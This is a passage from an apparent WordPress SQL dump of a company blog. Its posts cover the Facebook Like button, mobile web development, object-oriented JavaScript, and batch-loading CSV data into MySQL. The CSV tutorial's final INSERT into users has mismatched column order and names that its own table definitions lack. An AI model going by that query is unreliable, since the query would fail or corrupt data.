real-world things — things like movies, sports teams, celebrities, and restaurants, you can optionally use the <a href=\"http://developers.facebook.com/docs/opengraph\">Open Graph protocol</a> to enable users to establish lasting connections to your pages. Your pages show up in more places on Facebook and you gain the ability to publish stream stories to connected users.\r\n\r\nJust look at the image so that we understand the procedure to follow..\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nAfter getting the code.We can add it into our content wherever we want.......\r\n\r\n&nbsp;\r\n\r\n<strong>Is there any other plugin like this?</strong>','Facebook Like Button in our site....','','publish','open','open','','facebook-like-button-in-our-site','','','2014-07-21 12:22:50','2014-07-21 12:22:50','',0,'http://localhost/yalavarthitechnologies/blog/?p=212',0,'post','',0),(213,1,'2014-07-21 12:22:50','2014-07-21 12:22:50','<strong>Summary:</strong>\r\n<h1>Facebook Like Button</h1>\r\nThe Like button enables users to make connections to your pages and share content back to their friends on Facebook with one click. Since the content is hosted by Facebook, the button can display personalized content whether or not the user has logged into your site. For logged-in Facebook users, the button is personalized to highlight friends who have also liked the page.\r\n\r\nThe basic Like button is available via a simple iframe you can drop into your page easily. A fuller-featured Like button is available via the <code>&lt;fb:like&gt;</code>XFBML tag (which requires you use the new <a href=\"http://developers.facebook.com/docs/reference/javascript/\">JavaScript SDK</a>). The XFBML version allows users to add a comment to their like as it is posted back to Facebook. The XFBML version also dynamically sizes its height; for example, if there are no profile pictures to display, the plugin will only be tall enough for the button itself.\r\n\r\nIf your web pages represent profiles of real-world things — things like movies, sports teams, celebrities, and restaurants, you can optionally use the <a href=\"http://developers.facebook.com/docs/opengraph\">Open Graph protocol</a> to enable users to establish lasting connections to your pages. Your pages show up in more places on Facebook and you gain the ability to publish stream stories to connected users.\r\n\r\nJust look at the image so that we understand the procedure to follow..\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nAfter getting the code.We can add it into our content wherever we want.......\r\n\r\n&nbsp;\r\n\r\n<strong>Is there any other plugin like this?</strong>','Facebook Like Button in our site....','','inherit','open','open','','212-revision-v1','','','2014-07-21 12:22:50','2014-07-21 12:22:50','',212,'http://localhost/yalavarthitechnologies/blog/?p=213',0,'revision','',0),(214,1,'2014-07-21 12:29:13','2014-07-21 12:29:13','<strong>Summary:</strong>\r\n\r\nAccess to Web applications using hand-held devices is becoming a necessity for gathering information, conducting transactions, and interacting with people and other information systems. However, developing and deploying Web applications on mobile devices is not straightforward as it might sound. Web pages and applications for mobile environments pose certain unique requirements and challenges, compared to their desktop versions, which primarily arise from small size of the devices, limited input and interaction capabilities, slower communication, and need for tailored content depending on the dynamic context of use. Successful development and deployment of mobile Web applications calls for a better understanding of these requirements and challenges.\r\n\r\n&nbsp;\r\n\r\nThe following are the few challenges  I faced while developing <a href=\"http://mobile.ntra.com/\">http://mobile.ntra.com</a>\r\n\r\n<b> </b>\r\n\r\n<b>Bandwidth:</b> The bandwidth of mobile devices is very low compared to the desktops. In the initial stage I was pushing huge amount of information to the mobile devices as output based on user request to a particular webpage, at this stage the page loading time is very high and some times I faces the browser crashes.\r\n\r\n&nbsp;\r\n\r\n<b>Browser Memory: </b>The mobile devices browser memory is very low compared to the desktop browsers. As the  latest devices like iphone, android have a  good amount of browser memory(cache) I didn’t face any problem with these mobile devices related to memory, coming to the legacy devices which don’t have sufficient amount of memory like old windows mobiles and My own  Sony Ericsson I faced browser crashing.\r\n\r\n&nbsp;\r\n\r\n<b>Rendering Output: </b>Rendering output to the mobile devices is bit different than rendering output to the desktops. You need more patience when rendering output to the mobile devices.\r\n\r\n&nbsp;\r\n\r\nAfter lot of struggle and research I found solutions to the above problems.\r\n\r\n&nbsp;\r\n\r\nTo reduce the usage of high bandwidth and Browser Memory I rendered very minimum amount of data as output, for this I avoided including external JavaScript files, css files and compressed the images which were sent to the user devices as a output.\r\n\r\nComing to the rendering the out put the mobile screens vary from one to another. So we should render different css for different mobile devices by identifying the browser Operating System and the browser which user is using.\r\n\r\n&nbsp;\r\n\r\n<b>Note: </b>The above are the challenges which I faced at the time of developing. You may face different challenges, let me know your learnings.','Addressing the Challenges of Web Applications on Mobile Handheld Devices','','publish','open','open','','addressing-the-challenges-of-web-applications-on-mobile-handheld-devices','','','2014-07-21 12:29:13','2014-07-21 12:29:13','',0,'http://localhost/yalavarthitechnologies/blog/?p=214',0,'post','',0),(215,1,'2014-07-21 12:23:24','2014-07-21 12:23:24','<strong>Summary:</strong>\n<h3>Introduction</h3>\nThe first version of this paper, written in 2003, had several shortcomings, not the least of which was that the techniques described were specific to Internet Explorer. I\'ve updated and improved on the original, to document the current state of the art, especially in light of the extensive interest in AJAX technology and the increasing adoption of the FireFox browser. All the examples presented here will follow the ECMA language standards and can be applied to Internet Explorer, FireFox, and ActionScript (in Macromedia Flash).\n\nWhile early adopters of JavaScript used it as a simple scripting engine to create dynamic web pages, modern web designers have come to use more sophisticated object oriented techniques in building their code. I will present here, both the common paradigms used in object oriented JavaScript programming, and also suggest some helper functions that you can use in your code to streamline the process.\n\nIt should be noted that the current design of the JavaScript language, did not fully anticipate or fully implement an object oriented system. That is why the subject is somewhat mysterious and there are various implementations of object oriented programming techniques being used on the web today. I will describe what I believe to be the most main-stream and compatible implementation that fits most naturally into the design of the language.\n\n<b>Object Oriented Programming Goals</b>\n\nI assume that the reader has a basic familiarity with JavaScript, function calls, and the basic tenets of object oriented programming. I consider the three primary goals of object oriented programming to be:\n<ul>\n	<li><b>Encapsulation</b> - Support for method calls on a JavaScript object as a member of a Class.</li>\n	<li><b>Polymorphism</b> - The ability for two classes to respond to the same (collection of) methods.</li>\n	<li><b>Inheritance</b> - The ability to define the behavior of one object in terms of another by <i>sub-classing</i>.</li>\n</ul>\nThrough a series of examples (which, for the curious reader, are actually snippets of live JavaScript code embedded within this page), I will demonstrate how objects can be used in JavaScript and how these object oriented paradigms can be best implemented. I will cover techniques for:\n<ul>\n	<li>Defining a Class</li>\n	<li>Defining and calling Methods in a Class</li>\n	<li>Defining a Sub-Class</li>\n	<li>Calling the Super-Class constructor from a Sub-Class</li>\n	<li>Overriding Methods of a Super-Class in a Sub-Class</li>\n	<li>Calling a Super-Class method from a Sub-Class</li>\n</ul>\n<b>Simple Objects</b>\n\nThe simplest object oriented construct in JavaScript is the built-in <i>Object</i> data type. In JavaScript, objects are implemented as a collection of named properties. Being an interpreted language, JavaScript allows for the creation of any number of properties in an object at any time (unlike C++, properties can be added to an object at any time; they do not have to be pre-defined in an object declaration or constructor).\n\nSo, for example, we can create a new object and add several ad-hoc properties to it with the following code:\n\nobj = new Object;\n\nobj.x = 1;\n\nobj.y = 2;\n\nWhich creates a JavaScript object which I will represent graphically like this:\n<table border=\"0\" cellpadding=\"0\">\n<tbody>\n<tr>\n<td colspan=\"2\">obj</td>\n</tr>\n<tr>\n<td>x</td>\n<td>1</td>\n</tr>\n<tr>\n<td>y</td>\n<td>2</td>\n</tr>\n<tr>\n<td colspan=\"2\"><i>Object.prototype</i></td>\n</tr>\n<tr>\n<td>constructor</td>\n<td>Object</td>\n</tr>\n</tbody>\n</table>\nThe left hand column displays the property name of each available property on the object, while the right hand column displays it\'s value. Note that in addition to the <i>x</i> and <i>y</i> properties that we created, our object has an additional property called <i>constructor </i>that points (in this case) to an internal JavaScript function. I will explain <i>prototype</i> properties, below.\n\n<b>Defining a Class - Object Constructors</b>\n\nA new JavaScript class is defined by creating a simple function. When a function is called with the <i>new</i> operator, the function serves as the <i>constructor</i> for that class. Internally, JavaScript creates an <i>Object</i>, and then calls the constructor function. Inside the constructor, the variable <i>this</i> is initialized to point to the just created Object. This code snippet defines a new class, <i>Foo</i>, and then creates a single object of that class.\n\nfunction Foo()\n\n{\n\nthis.x = 1;\n\nthis.y = 2;\n\n}\n\n&nbsp;\n\nobj = new Foo;\n<table border=\"0\" cellpadding=\"0\">\n<tbody>\n<tr>\n<td colspan=\"2\">obj</td>\n</tr>\n<tr>\n<td>x</td>\n<td>1</td>\n</tr>\n<tr>\n<td>y</td>\n<td>2</td>\n</tr>\n<tr>\n<td colspan=\"2\"><i>Foo.prototype</i></td>\n</tr>\n<tr>\n<td>constructor</td>\n<td>Foo</td>\n</tr>\n<tr>\n<td colspan=\"2\"><i>Object.prototype</i></td>\n</tr>\n<tr>\n<td>(constructor)</td>\n<td>Object</td>\n</tr>\n</tbody>\n</table>\nNote that we can now create as many <i>Foo</i> type objects as we want, all of whom will be properly initialized to have their <i>x</i> and <i>y</i> properties set to 1 and 2, respectively.\n\n<b>Prototypes Explained</b>\n\nIn JavaScript, each Object can inherit properties from another object, called it\'s <i>prototype</i>. When evaluating an expression to retrieve a property, JavaScript first looks to see if the property is defined directly in the object. If it is not, it then looks at the object\'s prototype to see if the property is defined there. This continues up the <i>prototype chain</i> until reaching the root prototype. Each object is associated with a prototype which comes from the constructor function from which it is created.\n\nFor example, if we want to create an object, X, from constructor function B, whose prototype chain is: B.prototype, A.prototype, Object.prototype:\n\nWe would use the following code:\n\nObject.prototype.inObj = 1;\n\n&nbsp;\n\nfunction A()\n\n{\n\nthis.inA = 2;\n\n}\n\n&nbsp;\n\nA.prototype.inAProto = 3;\n\n&nbsp;\n\nB.prototype = new A;            // Hook up A into B\'s prototype chain\n\nB.prototype.constructor = B;\n\nfunction B()\n\n{\n\nthis.inB = 4;\n\n}\n\n&nbsp;\n\nB.prototype.inBProto = 5;\n\n&nbsp;\n\nx = new B;\n\ndocument.write(x.inObj + \', \' + x.inA + \', \' + x.inAProto + \', \' + x.inB + \', \' + x.inBProto);\n\n1, 2, 3, 4, 5\n<table border=\"0\" cellpadding=\"0\">\n<tbody>\n<tr>\n<td colspan=\"2\">x</td>\n</tr>\n<tr>\n<td>inB</td>\n<td>4</td>\n</tr>\n<tr>\n<td colspan=\"2\"><i>B.prototype</i></td>\n</tr>\n<tr>\n<td>constructor</td>\n<td>B</td>\n</tr>\n<tr>\n<td>inA</td>\n<td>2</td>\n</tr>\n<tr>\n<td>inBProto</td>\n<td>5</td>\n</tr>\n<tr>\n<td colspan=\"2\"><i>A.prototype</i></td>\n</tr>\n<tr>\n<td>(constructor)</td>\n<td>A</td>\n</tr>\n<tr>\n<td>inAProto</td>\n<td>3</td>\n</tr>\n<tr>\n<td colspan=\"2\"><i>Object.prototype</i></td>\n</tr>\n<tr>\n<td>(constructor)</td>\n<td>Object</td>\n</tr>\n<tr>\n<td>inObj</td>\n<td>1</td>\n</tr>\n</tbody>\n</table>\n<i>In FireFox and in ActionScript, an object\'s prototype can be explicitly referenced via the non-standard __proto__ property. But in standard JavaScript a prototype object can only by directly referenced through the object\'s constructor function object.</i>\n\n<b>Defining and Calling Methods in a Class</b>\n\nJavaScript allows you to assign any function to a property of an object. When you call that function using <i>obj.Function()</i> syntax, it will execute the function with <i>this</i> defined as a reference to the object (just as it was in the constructor).\n\nThe standard paradigm for defining methods is to assign functions to a constructor\'s prototype. That way, all objects created with the constructor automatically inherit the function references via the prototype chain.\n\nfunction Foo()\n\n{\n\nthis.x = 1;\n\n}\n\n&nbsp;\n\nFoo.prototype.AddX = function(y)    // Define Method\n\n{\n\nthis.x += y;\n\n}\n\n&nbsp;\n\nobj = new Foo;\n\n&nbsp;\n\nobj.AddX(5);                        // Call Method\n<table border=\"0\" cellpadding=\"0\">\n<tbody>\n<tr>\n<td colspan=\"2\">obj</td>\n</tr>\n<tr>\n<td>x</td>\n<td>6</td>\n</tr>\n<tr>\n<td colspan=\"2\"><i>Foo.prototype</i></td>\n</tr>\n<tr>\n<td>constructor</td>\n<td>Foo</td>\n</tr>\n<tr>\n<td>AddX</td>\n<td></td>\n</tr>\n<tr>\n<td colspan=\"2\"><i>Object.prototype</i></td>\n</tr>\n<tr>\n<td>(constructor)</td>\n<td>Object</td>\n</tr>\n</tbody>\n</table>\n<b>Polymorphism</b> is achieved by simply having different object classes implement a collection of methods that use the same names. Then, a caller, need just use the correctly named function property to invoke the appropriate function for each object type.\n\nfunction A()\n\n{\n\nthis.x = 1;\n\n}\n\n&nbsp;\n\nA.prototype.DoIt = function()    // Define Method\n\n{\n\nthis.x += 1;\n\n}\n\n&nbsp;\n\nfunction B()\n\n{\n\nthis.x = 1;\n\n}\n\n&nbsp;\n\nB.prototype.DoIt = function()    // Define Method\n\n{\n\nthis.x += 2;\n\n}\n\n&nbsp;\n\na = new A;\n\nb = new B;\n\n&nbsp;\n\na.DoIt();\n\nb.DoIt();\n\ndocument.write(a.x + \', \' + b.x);\n\n2, 3\n<table border=\"0\" cellpadding=\"0\">\n<tbody>\n<tr>\n<td colspan=\"2\">a</td>\n</tr>\n<tr>\n<td>x</td>\n<td>2</td>\n</tr>\n<tr>\n<td colspan=\"2\"><i>A.prototype</i></td>\n</tr>\n<tr>\n<td>constructor</td>\n<td>A</td>\n</tr>\n<tr>\n<td>DoIt</td>\n<td></td>\n</tr>\n<tr>\n<td colspan=\"2\"><i>Object.prototype</i></td>\n</tr>\n<tr>\n<td>(constructor)</td>\n<td>Object</td>\n</tr>\n</tbody>\n</table>\n&nbsp;\n<table border=\"0\" cellpadding=\"0\">\n<tbody>\n<tr>\n<td colspan=\"2\">b</td>\n</tr>\n<tr>\n<td>x</td>\n<td>3</td>\n</tr>\n<tr>\n<td colspan=\"2\"><i>B.prototype</i></td>\n</tr>\n<tr>\n<td>constructor</td>\n<td>B</td>\n</tr>\n<tr>\n<td>DoIt</td>\n<td></td>\n</tr>\n<tr>\n<td colspan=\"2\"><i>Object.prototype</i></td>\n</tr>\n<tr>\n<td>(constructor)</td>\n<td>Object</td>\n</tr>\n</tbody>\n</table>\n<b>Defining a Sub-Class</b>\n\nThe standard paradigm, is to use the prototype chain to implement the inheritance of methods from a super class. Any methods defined on the sub-class will supersede those defined on the super-class.\n\nfunction A()                        // Define super class\n\n{\n\nthis.x = 1;\n\n}\n\n&nbsp;\n\nA.prototype.DoIt = function()        // Define Method\n\n{\n\nthis.x += 1;\n\n}\n\n&nbsp;\n\nB.prototype = new A;                // Define sub-class\n\nB.prototype.constructor = B;\n\nfunction B()\n\n{\n\nA.call(this);                    // Call super-class constructor (if desired)\n\nthis.y = 2;\n\n}\n\n&nbsp;\n\nB.prototype.DoIt = function()        // Define Method\n\n{\n\nA.prototype.DoIt.call(this);    // Call super-class method (if desired)\n\nthis.y += 1;\n\n}\n\n&nbsp;\n\nb = new B;\n\n&nbsp;\n\ndocument.write((b instanceof A) + \', \' + (b instanceof B) + \'&lt;BR/&gt;\');\n\nb.DoIt();\n\ndocument.write(b.x + \', \' + b.y);\n\ntrue, true\n2, 3\n<table border=\"0\" cellpadding=\"0\">\n<tbody>\n<tr>\n<td colspan=\"2\">b</td>\n</tr>\n<tr>\n<td>x</td>\n<td>2</td>\n</tr>\n<tr>\n<td>y</td>\n<td>3</td>\n</tr>\n<tr>\n<td colspan=\"2\"><i>B.prototype</i></td>\n</tr>\n<tr>\n<td>constructor</td>\n<td>B</td>\n</tr>\n<tr>\n<td>(x)</td>\n<td>1</td>\n</tr>\n<tr>\n<td>DoIt</td>\n<td></td>\n</tr>\n<tr>\n<td colspan=\"2\"><i>A.prototype</i></td>\n</tr>\n<tr>\n<td>(constructor)</td>\n<td>A</td>\n</tr>\n<tr>\n<td>(DoIt)</td>\n<td></td>\n</tr>\n<tr>\n<td colspan=\"2\"><i>Object.prototype</i></td>\n</tr>\n<tr>\n<td>(constructor)</td>\n<td>Object</td>\n</tr>\n</tbody>\n</table>\nSomething to keep in mind is that each time a sub-class is defined, we explicitly call the constructor of the super-class in order to insert it into our prototype chain. So it is important to ensure that no undesirable side-effects will occur when this call is made. Conversely, if the super-class constructor should be called for each instance of every sub-class, code must be explicitly added to the sub-class\'s constructor to make this call (as is done in the above example).\n\n<b>An Alternate Sub-Classing Paradigm</b>\n\nAs an alternate to using the prototype chain, I\'ve developed a method which avoids calling the constructor of a super class when each sub-class is defined. Three methods are added to the Function object:\n\nFunction.prototype.DeriveFrom = function (fnSuper) {\n\nvar prop;\n\nif (this == fnSuper) {\n\nalert(\"Error - cannot derive from self\");\n\nreturn;\n\n}\n\nfor (prop in fnSuper.prototype) {\n\nif (typeof fnSuper.prototype[prop] == \"function\" &amp;&amp;\n\n!this.prototype[prop]) {\n\nthis.prototype[prop] = fnSuper.prototype[prop];\n\n}\n\n}\n\nthis.prototype[fnSuper.StName()] = fnSuper;\n\n}\n\nFunction.prototype.StName\n\n= function () {\n\nvar st;\n\nst = this.toString();\n\nst = st.substring(st.indexOf(\" \") + 1, st.indexOf(\"(\"));\n\nif (st.charAt(0) == \"(\") {\n\nst = \"function ...\";\n\n}\n\nreturn st;\n\n}\n\nFunction.prototype.Override\n\n= function (fnSuper, stMethod) {\n\nthis.prototype[fnSuper.StName() + (\"_\" + stMethod)] = fnSuper.prototype[stMethod];\n\n}\n\nRepeating the sub-classing example using this new paradigm:\n\nfunction A()                        // Define super class\n\n{\n\nthis.x = 1;\n\n}\n\n&nbsp;\n\nA.prototype.DoIt = function()        // Define Method\n\n{\n\nthis.x += 1;\n\n}\n\n&nbsp;\n\nB.DeriveFrom(A);                    // Define sub-class\n\nfunction B()\n\n{\n\nthis.A();                        // Call super-class constructor (if desired)\n\nthis.y = 2;\n\n}\n\n&nbsp;\n\nB.Override(A, \'DoIt\');\n\nB.prototype.DoIt = function()        // Define Method\n\n{\n\nthis.A_DoIt();                    // Call super-class method (if desired)\n\nthis.y += 1;\n\n}\n\n&nbsp;\n\nb = new B;\n\n&nbsp;\n\ndocument.write((b instanceof A) + \', \' + (b instanceof B) + \'&lt;BR/&gt;\');\n\nb.DoIt();\n\ndocument.write(b.x + \', \' + b.y);\n\nfalse, true\n2, 3\n<table border=\"0\" cellpadding=\"0\">\n<tbody>\n<tr>\n<td colspan=\"2\">b</td>\n</tr>\n<tr>\n<td>x</td>\n<td>2</td>\n</tr>\n<tr>\n<td>y</td>\n<td>3</td>\n</tr>\n<tr>\n<td colspan=\"2\"><i>B.prototype</i></td>\n</tr>\n<tr>\n<td>constructor</td>\n<td>B</td>\n</tr>\n<tr>\n<td>DoIt</td>\n<td></td>\n</tr>\n<tr>\n<td>A</td>\n<td>A</td>\n</tr>\n<tr>\n<td>A_DoIt</td>\n<td></td>\n</tr>\n<tr>\n<td colspan=\"2\"><i>Object.prototype</i></td>\n</tr>\n<tr>\n<td>(constructor)</td>\n<td>Object</td>\n</tr>\n</tbody>\n</table>\nUnfortunately, this technique does not allow for the use of the <i>instanceof</i> operator to test for membership of a super-class. But, we have the added benefit that we can derive from more than one super class (multiple inheritance).\n\n<b>Private Members</b>\n\nAmazingly, JavaScript also can support private members in an object. When the constructor is called, variables declared in the function scope of the constructor will actually persist beyond the lifetime of the construction function itself. To access these variables, you need only create local functions within the scope of the constructor.  They may reference <i>local</i> variables in the constructor.\n\nfunction A()\n\n{\n\nvar x = 7;\n\n&nbsp;\n\nthis.GetX = function() { return x;}\n\nthis.SetX = function(xT) { x = xT; }\n\n}\n\n&nbsp;\n\nobj = new A;\n\nobj2 = new A;\n\ndocument.write(obj.GetX() + \' \' + obj2.GetX());\n\nobj.SetX(14);\n\ndocument.write(\' \' + obj.GetX() + \' \' + obj2.GetX());\n\n7 7 14 7\n<table border=\"0\" cellpadding=\"0\">\n<tbody>\n<tr>\n<td colspan=\"2\">obj</td>\n</tr>\n<tr>\n<td>GetX</td>\n<td></td>\n</tr>\n<tr>\n<td>SetX</td>\n<td></td>\n</tr>\n<tr>\n<td colspan=\"2\"><i>A.prototype</i></td>\n</tr>\n<tr>\n<td>constructor</td>\n<td>A</td>\n</tr>\n<tr>\n<td colspan=\"2\"><i>Object.prototype</i></td>\n</tr>\n<tr>\n<td>(constructor)</td>\n<td>Object</td>\n</tr>\n</tbody>\n</table>\n&nbsp;\n<table border=\"0\" cellpadding=\"0\">\n<tbody>\n<tr>\n<td colspan=\"2\">obj2</td>\n</tr>\n<tr>\n<td>GetX</td>\n<td></td>\n</tr>\n<tr>\n<td>SetX</td>\n<td></td>\n</tr>\n<tr>\n<td colspan=\"2\"><i>A.prototype</i></td>\n</tr>\n<tr>\n<td>constructor</td>\n<td>A</td>\n</tr>\n<tr>\n<td colspan=\"2\"><i>Object.prototype</i></td>\n</tr>\n<tr>\n<td>(constructor)</td>\n<td>Object</td>\n</tr>\n</tbody>\n</table>\nI believe, however, that each instance of an object created in this way, has it\'s own copy of each local function.  The local copy of the function can maintain a copy of the local scope (a closure) of the constructor.  This would be rather inefficient for object classes that construct many instances.  Experiments with a single (shared) reference to a function reveal that they can only reference variables from a single instance of the class.  Since the benefits of using private members is rather limited in the context of JavaScript (which is already lacking any form of type safety), I would not recommend making extensive use of the <i>private member</i> paradigm.\n\n<b>Source:</b> <a href=\"http://mckoss.com/jscript/object.htm\">http://mckoss.com/jscript/object.htm</a>','Oop Concepts in Javascript','','inherit','open','open','','208-autosave-v1','','','2014-07-21 12:23:24','2014-07-21 12:23:24','',208,'http://localhost/yalavarthitechnologies/blog/?p=215',0,'revision','',0),(216,1,'2014-07-21 12:29:13','2014-07-21 12:29:13','<strong>Summary:</strong>\n\nAccess to Web applications using hand-held devices is becoming a necessity for gathering information, conducting transactions, and interacting with people and other information systems. However, developing and deploying Web applications on mobile devices is not straightforward as it might sound. Web pages and applications for mobile environments pose certain unique requirements and challenges, compared to their desktop versions, which primarily arise from small size of the devices, limited input and interaction capabilities, slower communication, and need for tailored content depending on the dynamic context of use. Successful development and deployment of mobile Web applications calls for a better understanding of these requirements and challenges.\n\n&nbsp;\n\nThe following are the few challenges  I faced while developing <a href=\"http://mobile.ntra.com/\">http://mobile.ntra.com</a>\n\n<b> </b>\n\n<b>Bandwidth:</b> The bandwidth of mobile devices is very low compared to the desktops. In the initial stage I was pushing huge amount of information to the mobile devices as output based on user request to a particular webpage, at this stage the page loading time is very high and some times I faces the browser crashes.\n\n&nbsp;\n\n<b>Browser Memory: </b>The mobile devices browser memory is very low compared to the desktop browsers. As the  latest devices like iphone, android have a  good amount of browser memory(cache) I didn’t face any problem with these mobile devices related to memory, coming to the legacy devices which don’t have sufficient amount of memory like old windows mobiles and My own  Sony Ericsson I faced browser crashing.\n\n&nbsp;\n\n<b>Rendering Output: </b>Rendering output to the mobile devices is bit different than rendering output to the desktops. You need more patience when rendering output to the mobile devices.\n\n&nbsp;\n\nAfter lot of struggle and research I found solutions to the above problems.\n\n&nbsp;\n\nTo reduce the usage of high bandwidth and Browser Memory I rendered very minimum amount of data as output, for this I avoided including external JavaScript files, css files and compressed the images which were sent to the user devices as a output.\n\nComing to the rendering the out put the mobile screens vary from one to another. So we should render different css for different mobile devices by identifying the browser Operating System and the browser which user is using.\n\n&nbsp;\n\n<b>Note: </b>The above are the challenges which I faced at the time of developing. You may face different challenges, let me know your learnings.','Addressing the Challenges of Web Applications on Mobile Handheld Devices','','inherit','open','open','','214-autosave-v1','','','2014-07-21 12:29:13','2014-07-21 12:29:13','',214,'http://localhost/yalavarthitechnologies/blog/?p=216',0,'revision','',0),(217,1,'2014-07-21 12:29:13','2014-07-21 12:29:13','<strong>Summary:</strong>\r\n\r\nAccess to Web applications using hand-held devices is becoming a necessity for gathering information, conducting transactions, and interacting with people and other information systems. However, developing and deploying Web applications on mobile devices is not straightforward as it might sound. Web pages and applications for mobile environments pose certain unique requirements and challenges, compared to their desktop versions, which primarily arise from small size of the devices, limited input and interaction capabilities, slower communication, and need for tailored content depending on the dynamic context of use. Successful development and deployment of mobile Web applications calls for a better understanding of these requirements and challenges.\r\n\r\n&nbsp;\r\n\r\nThe following are the few challenges  I faced while developing <a href=\"http://mobile.ntra.com/\">http://mobile.ntra.com</a>\r\n\r\n<b> </b>\r\n\r\n<b>Bandwidth:</b> The bandwidth of mobile devices is very low compared to the desktops. In the initial stage I was pushing huge amount of information to the mobile devices as output based on user request to a particular webpage, at this stage the page loading time is very high and some times I faces the browser crashes.\r\n\r\n&nbsp;\r\n\r\n<b>Browser Memory: </b>The mobile devices browser memory is very low compared to the desktop browsers. As the  latest devices like iphone, android have a  good amount of browser memory(cache) I didn’t face any problem with these mobile devices related to memory, coming to the legacy devices which don’t have sufficient amount of memory like old windows mobiles and My own  Sony Ericsson I faced browser crashing.\r\n\r\n&nbsp;\r\n\r\n<b>Rendering Output: </b>Rendering output to the mobile devices is bit different than rendering output to the desktops. You need more patience when rendering output to the mobile devices.\r\n\r\n&nbsp;\r\n\r\nAfter lot of struggle and research I found solutions to the above problems.\r\n\r\n&nbsp;\r\n\r\nTo reduce the usage of high bandwidth and Browser Memory I rendered very minimum amount of data as output, for this I avoided including external JavaScript files, css files and compressed the images which were sent to the user devices as a output.\r\n\r\nComing to the rendering the out put the mobile screens vary from one to another. So we should render different css for different mobile devices by identifying the browser Operating System and the browser which user is using.\r\n\r\n&nbsp;\r\n\r\n<b>Note: </b>The above are the challenges which I faced at the time of developing. You may face different challenges, let me know your learnings.','Addressing the Challenges of Web Applications on Mobile Handheld Devices','','inherit','open','open','','214-revision-v1','','','2014-07-21 12:29:13','2014-07-21 12:29:13','',214,'http://localhost/yalavarthitechnologies/blog/?p=217',0,'revision','',0),(218,1,'2014-07-21 12:32:30','2014-07-21 12:32:30','<strong>Summary:</strong>\r\n\r\nIn many of our projects we need to do import/batch upload of data from a csv or xls file. We usually do data import by reading csv file and inserting records line by line. In this way the no of sql queries running on the DB is minimum the no of records exists in a file.\r\n\r\nThis can be done in a smarter way. Loading the CSV file data into a temporary table and performing batch insert and update statements. In this case we have maximum 10-15 queries run on DB based on the logic that needs to be implemented.\r\n\r\nI am taking a sample employee data to explain this process.\r\n\r\n<strong>data.csv</strong>\r\nempno|fname|lname|location\r\n10001|Phillip|Johnson|Minnesota\r\n10002|Madison|Hadler|Hearthstone\r\n\r\nThis CSV file has empno, fname, lname and location. The empno, fname and lname has to be inserted into users table.\r\nLocation column is employee location info. If new location comes in CSV file, It has to be inserted into locations master table.  We need to update user table with corresponding location_id.\r\n\r\n<strong>Actual tables:</strong>\r\nCREATE TABLE `users` (\r\n`user_id` INT( 11 ) NOT NULL ,\r\n`empno` VARCHAR( 50 ) NOT NULL ,\r\n`fn` VARCHAR( 50 ) NOT NULL ,\r\n`ln` VARCHAR( 50 ) NOT NULL ,\r\n`location_id` INT( 11 ) NOT NULL\r\n)\r\n\r\nCREATE TABLE `locations` (\r\n`location_id` INT( 11 ) NOT NULL ,\r\n`location_name` VARCHAR( 100 ) NOT NULL ,\r\n`status` TINYINT( 1 ) NOT NULL\r\n)\r\n\r\n\r\n\r\n\r\nCreate a temporary table with below fields.\r\n\r\nCREATE TABLE `tmp_data` (\r\n`empno` VARCHAR( 20 ) NOT NULL ,\r\n`fname` VARCHAR( 50 ) NOT NULL ,\r\n`lname` VARCHAR( 50 ) NOT NULL ,\r\n`location` VARCHAR( 50 ) NOT NULL ,\r\n`userid` INT( 11 ) NOT NULL ,\r\n`locationid` INT( 11 ) NOT NULL\r\n)\r\n\r\nlocationid will hold the location id from the locations master table. userid column will have the userid from the users table. We first populate these fields from actual tables and perform the batch insert/update.\r\n\r\n\r\n\r\n\r\n//load data to temp table from file\r\nLOAD DATA LOCAL INFILE \"E:\\\\data.csv\" INTO TABLE tmp_data FIELDS TERMINATED BY \"|\" IGNORE 1 LINES (empno,fname,lname,location);\r\n\r\n\r\n//Update location_id column in temp table. If any new location comes the a.locationid remains \'0\'\r\nUPDATE tmp_data a, locations b SET a.locationid = b.location_id WHERE a.location = b.location_name\r\n\r\n////Insert new locations into locations table where the location_id is 0.\r\nINSERT  INTO locations( location_name, status ) ( SELECT distinct location, \'1\' FROM tmp_data WHERE locationid = \'0\' )\r\n\r\n//Again update locationid column in temp table. With this step all rows have locationid filled.\r\nUPDATE tmp_data a, locations b SET a.locationid = b.location_id WHERE a.location = b.location_name;\r\n\r\n\r\n//Update userid column in temp table. for new users the a.userid remains \'0\'.\r\nUPDATE tmp_data a, users b set a.userid = b.user_id WHERE a.empno = b.empno;\r\n\r\n\r\n//Insert into users table where the userid is 0 - All New users will get inserted into users table.\r\nINSERT  INTO users(fn, ln, empno, locationid ) ( SELECT empno, fname, lname, location_id FROM tmp_data WHERE userid = \'0\' );\r\n\r\n\r\n//for already existing users where userid&gt;0 - Update users table with csv data\r\nUPDATE tmp_data a, users b set b.fn=a.fname, b.ln=a.lname, b.location_id=a.locationid WHERE a.userid=b.user_id and a.userid&gt;0','Uploading bulk data to database','','publish','open','open','','uploading-bulk-data-to-database','','','2014-07-21 12:32:30','2014-07-21 12:32:30','',0,'http://localhost/yalavarthitechnologies/blog/?p=218',0,'post','',0),(219,1,'2014-07-21 12:32:30','2014-07-21 12:32:30','<strong>Summary:</strong>\r\n\r\nIn many of our projects we need to do import/batch upload of data from a csv or xls file. We usually do data import by reading csv file and inserting records line by line. In this way the no of sql queries running on the DB is minimum the no of records exists in a file.\r\n\r\nThis can be done in a smarter way. Loading the CSV file data into a temporary table and performing batch insert and update statements. In this case we have maximum 10-15 queries run on DB based on the logic that needs to be implemented.\r\n\r\nI am taking a sample employee data to explain this process.\r\n\r\n<strong>data.csv</strong>\r\nempno|fname|lname|location\r\n10001|Phillip|Johnson|Minnesota\r\n10002|Madison|Hadler|Hearthstone\r\n\r\nThis CSV file has empno, fname, lname and location. The empno, fname and lname has to be inserted into users table.\r\nLocation column is employee location info. If new location comes in CSV file, It has to be inserted into locations master table.  We need to update user table with corresponding location_id.\r\n\r\n<strong>Actual tables:</strong>\r\nCREATE TABLE `users` (\r\n`user_id` INT( 11 ) NOT NULL ,\r\n`empno` VARCHAR( 50 ) NOT NULL ,\r\n`fn` VARCHAR( 50 ) NOT NULL ,\r\n`ln` VARCHAR( 50 ) NOT NULL ,\r\n`location_id` INT( 11 ) NOT NULL\r\n)\r\n\r\nCREATE TABLE `locations` (\r\n`location_id` INT( 11 ) NOT NULL 